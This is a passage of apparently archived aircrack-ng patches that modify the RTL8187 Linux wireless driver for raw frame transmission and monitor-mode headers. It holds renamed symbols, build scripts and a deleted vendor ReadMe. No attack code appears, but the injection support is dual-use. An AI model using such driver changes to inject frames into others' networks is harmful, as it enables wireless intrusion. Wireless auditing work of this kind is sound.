IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.24.patch0000644000000000000000000127710710761053203020125 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void 